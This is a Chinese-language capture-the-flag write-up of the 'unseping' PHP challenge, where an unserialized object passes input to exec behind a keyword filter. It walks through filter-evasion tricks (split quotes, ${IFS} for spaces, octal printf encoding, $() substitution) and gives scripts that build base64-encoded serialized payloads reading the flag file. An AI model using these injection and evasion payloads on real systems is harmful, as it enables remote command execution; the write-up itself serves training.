unseping

代码审计

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

本代码定义了一个叫ease的类,类中包含:

  • _wakeup:在反序列化之前被掉用,利用一个foreach循环,调用waf方法检测传入的数组中是否包含黑名单字符,如果不包含则执行__construct方法

  • __construct:在类被实例化后自动调用,定义两个属性,并赋以初值

  • __destruct:类运行完,销毁之前调用,如果method属性在数组ping中,(就是会说method属性的值=ping)就调用call_user_func_array函数

call_user_func_array

语法:
call_user_func_array ( callable $callback , array $param_arr )

解析

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

返回回调函数的结果。如果出错的话就返回FALSE

回调函数是什么:就现在初步理解就是有一个函数,然后作为参数传递给了另一个函数(这里就是call_user_func_array函数)在另一个函数调用完后,在进行调用本身

所以这里的意思就是将$args的数据作为参数传递给ping函数

exec函数

exec是PHP中的一个函数,用于执行外部命令并获取其输出。

基本的exec语法如下:
exec(command, output, return_var);
  • command是要执行的外部命令。

  • output是一个可选参数,用于存储命令执行后的输出结果。

  • return_var是一个可选参数,用于存储命令执行后的返回值。

例如,我们可以使用exec执行一个简单的命令,并将输出存储在一个变量中:

$output = exec('ls');
echo $output;

exec函数执行linux下的ls命令,并将其输出赋值给变量$output,然后使用echo输出结果。

因为系统环境不一样,所以执行不了linux命令,windows环境下只能执行windows命令

注意:

exec函数只会返回命令的最后一行输出。如果要获取命令的完整输出,可以使用shell_exec函数。

$output = shell_exec ('ls');
echo $output;

exec函数还可以用于执行其他系统命令,比如执行一个Python脚本、调用其他可执行程序等等。

绕过方式

所以这里需要绕过的地方只有一个,那就是wakeup方法,一开始本来想着是利用成员数大于真实数,去绕过wakeup方法来着,结果发现不行,本地调试进都进不去

然后我看着这个正则没有修饰符i(不区分大小写),尝试大小写绕过,但是linux系统对大小写是敏感的,要是直接使用ls查看文件的话恐怕不行

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('DIR'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

最后使用的windows命令,也不用大写,但是没有查询到相关信息,看来还是要使用linux命令

引号绕过

经过查看wp得知,我们可以采取php单双引号的性质进行绕过,在php下,二者的主要区别在于,被单引号括起来的字符都是普通字符,就算特殊字符也不再有特殊含义

而被双引号括起来的字符中,"$"、"\"和反引号是拥有特殊含义的,"$"代表引用变量的值,而反引号代表引用命令。

所以我们可以利用这个性质去绕过

但是其实在linux 下,只要引号是出于闭合状态都不影响命令执行,主要是后面用得到

空格绕过

空格可以用以下字符代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}等

$IFS$9在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

${IFS}是Linux中的一个特殊变量,它代表了当前的字段分隔符。

${IFS}的默认值是空格、制表符和换行符。所以,当你输入命令时,以空格、制表符或换行符作为分隔符,将输入的内容分割成不同的字段。每个字段将作为命令的一个参数进行解析和执行。

需要注意的是,在命令行中,${IFS}是在命令执行之前被解析和替换的。所以,${IFS}在命令执行时不会再被解析为字段分隔符。

如果你想在命令中使用${IFS}作为普通的字符串而不是字段分隔符,你可以使用单引号或者转义字符对其进行引用。

总结起来,${IFS}是Linux中的一个特殊变量,它代表了当前的字段分隔符,用于将输入内容分割成不同的字段作为命令的参数。

printf绕过(字符串进制绕过)

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

在linux下也可以利用print命令将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

$()与 ` `(反引号):

$()和(反引号)都是用于在Shell脚本中执行命令并将其输出赋值给变量或作为命令的一部分。可以理解为,先完成符号里的命令,然后将其执行结果作为其他命令的一部分继续执行或者赋值给变量。

解题步骤

首先我们利用单双引号绕过正则表达式,执行ls命令

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

得知一个疑似目录,接着查看目录下的内容,采取${IFS}代替ls与目录之间的空格

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

这里要注意的是外侧引号一定是单引号,因为双引号会执行特殊含义字符,这里会将${IFS}给解析掉,导致传入失败

根据回显数据得知一个php文件,最后我们只需要cat这个文件的内容就可以获得flag

但是如果要直接cat的话,就需要路径去指定flag文件了,但是本题已经将路径符/给正则掉了

所以我们对/进行十六进制编码绕过,并利用$()和print进行传递

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\x2f")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

结果发现十六进制传参不行,会返回一个空数组

八进制绕过可以成功

那既然这样,我是不是可以尝试一下全部都转码

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
//cat flag_1s_here/flag_831b69012c67b35f.php
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

成功

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值